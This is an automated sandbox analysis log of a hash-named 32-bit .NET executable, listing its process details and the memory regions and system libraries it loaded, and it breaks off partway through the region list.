# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 05.08.2022 09:42:06.705 Process: id = "1" image_name = "2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" page_root = "0x3655a000" os_pid = "0x139c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 117 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 118 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 119 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 120 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 121 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 122 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 123 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 124 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 125 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 126 start_va = 0x400000 end_va = 0x543fff monitored = 1 entry_point = 0x4d4cf2 region_type = mapped_file name = "2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe") Region: id = 127 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 128 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 129 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 130 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 131 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 132 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 271 start_va = 0x550000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 272 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 273 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 274 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 275 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 276 start_va = 0x620000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 277 start_va = 0x6f7d0000 end_va = 0x6f828fff monitored = 1 entry_point = 0x6f7e0780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 278 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 279 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 280 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 281 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 282 start_va = 0x550000 end_va = 0x60dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 283 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 284 start_va = 0x7a0000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 285 start_va = 0x73e50000 end_va = 0x73ee1fff monitored = 0 entry_point = 0x73e90380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 286 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 287 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 288 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 289 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 290 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 291 start_va = 0x6a0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 292 start_va = 0x880000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 293 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 294 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 295 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 296 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 297 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 298 start_va = 0x7a0000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 299 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 300 start_va = 0x6f840000 end_va = 0x6f8bcfff monitored = 1 entry_point = 0x6f850db0 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 301 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 302 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 303 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 304 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 305 start_va = 0x1d0000 end_va = 0x1f9fff monitored = 0 entry_point = 0x1d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 306 start_va = 0x980000 end_va = 0xb07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 307 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 308 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 309 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 310 start_va = 0xb10000 end_va = 0xc90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 311 start_va = 0xca0000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 312 start_va = 0x20a0000 end_va = 0x21ddfff monitored = 1 entry_point = 0x2174cf2 region_type = mapped_file name = "2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\2a05a23d8879f9d001af335779b5102dd644b08d2f106353c28c8ce303ee9b58.exe") Region: id = 313 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 314 start_va = 0x70650000 end_va = 0x70657fff monitored = 0 entry_point = 0x706517b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 315 start_va = 0x6f0b0000 end_va = 0x6f790fff monitored = 1 entry_point = 0x6f0dcd70 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 316 start_va = 0x6efb0000 end_va = 0x6f0a4fff monitored = 0 entry_point = 0x6f004160 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 317 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 318 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 319 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 320 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 321 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 322 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 323 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 324 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 325 start_va = 0x7b0000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 326 start_va = 0x7c0000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 327 start_va = 0x20a0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 328 start_va = 0x20a0000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 329 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 330 start_va = 0x7d0000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 331 start_va = 0x21e0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 332 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 333 start_va = 0x22e0000 end_va = 0x42dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 334 start_va = 0x20a0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 335 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 336 start_va = 0x810000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 337 start_va = 0x42e0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 338 start_va = 0x43e0000 end_va = 0x4716fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 339 start_va = 0x6d3e0000 end_va = 0x6e691fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll") Region: id = 340 start_va = 0x74dc0000 end_va = 0x74eaafff monitored = 0 entry_point = 0x74dfd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 341 start_va = 0x4720000 end_va = 0x47b0fff monitored = 0 entry_point = 0x4758cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 342 start_va = 0x73dd0000 end_va = 0x73e44fff monitored = 0 entry_point = 0x73e09a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 343 start_va = 0x4720000 end_va = 0x48cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 344 start_va = 0x6bda0000 end_va = 0x6c76bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\1be7a15b1f33bf22e4f53aaf45518c77\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\1be7a15b1f33bf22e4f53aaf45518c77\\system.ni.dll") Region: id = 345 start_va = 0x6e880000 end_va = 0x6efa0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\eb4cca4f06a15158c3f7e2c56516729b\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\eb4cca4f06a15158c3f7e2c56516729b\\system.core.ni.dll") Region: id = 346 start_va = 0x6b9b0000 end_va = 0x6bd92fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "windowsbase.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsBase\\9a2107b30cbb02ca475f58ed046eff63\\WindowsBase.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\windowsbase\\9a2107b30cbb02ca475f58ed046eff63\\windowsbase.ni.dll") Region: id = 347 start_va = 0x72c20000 end_va = 0x72c32fff monitored = 0 entry_point = 0x72c29950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 348 start_va = 0x6fff0000 end_va = 0x7001efff monitored = 0 entry_point = 0x700095e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 349 start_va = 0x713f0000 end_va = 0x7140afff monitored = 0 entry_point = 0x713f9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 350 start_va = 0x6ae90000 end_va = 0x6b9a8fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "presentationcore.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationCore\\d7a637fdf68801e37fc897b530f9a8a6\\PresentationCore.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\presentationcore\\d7a637fdf68801e37fc897b530f9a8a6\\presentationcore.ni.dll") Region: id = 351 start_va = 0x69bf0000 end_va = 0x6ae82fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "presentationframework.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio5ae0f00f#\\56617af3d6fd992497999aec2be809a4\\PresentationFramework.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\presentatio5ae0f00f#\\56617af3d6fd992497999aec2be809a4\\presentationframework.ni.dll") Region: id = 352 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 353 start_va = 0x6e800000 end_va = 0x6e87ffff monitored = 1 entry_point = 0x6e801180 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 354 start_va = 0x76680000 end_va = 0x76711fff monitored = 0 entry_point = 0x766b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 355 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 356 start_va = 0x69a60000 end_va = 0x69beefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\1d52bd4ac5e0a6422058a5d62c9f6d9d\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\1d52bd4ac5e0a6422058a5d62c9f6d9d\\system.drawing.ni.dll") Region: id = 357 start_va = 0x68df0000 end_va = 0x69a56fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\fb06ad4bc55b9c3ca68a3f9259d826cd\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\fb06ad4bc55b9c3ca68a3f9259d826cd\\system.windows.forms.ni.dll") Region: id = 358 start_va = 0x2160000 end_va = 0x2160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002160000" filename = "" Region: id = 359 start_va = 0x2160000 end_va = 0x2161fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002160000" filename = "" Region: id = 360 start_va = 0x2170000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 361 start_va = 0x4720000 end_va = 0x47aefff monitored = 0 entry_point = 0x472dd60 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\\comctl32.dll") Region: id = 362 start_va = 0x48c0000 end_va = 0x48cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048c0000" filename = "" Region: id = 363 start_va = 0x6e760000 end_va = 0x6e7f1fff monitored = 0 entry_point = 0x6e76dd60 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\\comctl32.dll") Region: id = 364 start_va = 0x4720000 end_va = 0x477ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 365 start_va = 0x2180000 end_va = 0x2180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002180000" filename = "" Region: id = 366 start_va = 0x4780000 end_va = 0x483bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004780000" filename = "" Region: id = 367 start_va = 0x2180000 end_va = 0x2183fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002180000" filename = "" Region: id = 368 start_va = 0x2190000 end_va = 0x2193fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 369 start_va = 0x48d0000 end_va = 0x4adafff monitored = 0 entry_point = 0x497b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 370 start_va = 0x72d30000 end_va = 0x72f3efff monitored = 0 entry_point = 0x72ddb0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 371 start_va = 0x21a0000 end_va = 0x21a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 372 start_va = 0x21b0000 end_va = 0x21b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021b0000" filename = "" Region: id = 373 start_va = 0x4720000 end_va = 0x474ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 374 start_va = 0x4770000 end_va = 0x477ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004770000" filename = "" Region: id = 375 start_va = 0x73db0000 end_va = 0x73dccfff monitored = 0 entry_point = 0x73db3b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 376 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 377 start_va = 0x21c0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 378 start_va = 0x4720000 end_va = 0x472ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 379 start_va = 0x4740000 end_va = 0x474ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004740000" filename = "" Region: id = 380 start_va = 0x6d270000 end_va = 0x6d3dafff monitored = 0 entry_point = 0x6d2de360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 381 start_va = 0x48d0000 end_va = 0x4a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048d0000" filename = "" Region: id = 382 start_va = 0x4840000 end_va = 0x487ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004840000" filename = "" Region: id = 383 start_va = 0x48d0000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048d0000" filename = "" Region: id = 384 start_va = 0x4a60000 end_va = 0x4a6ffff monitored 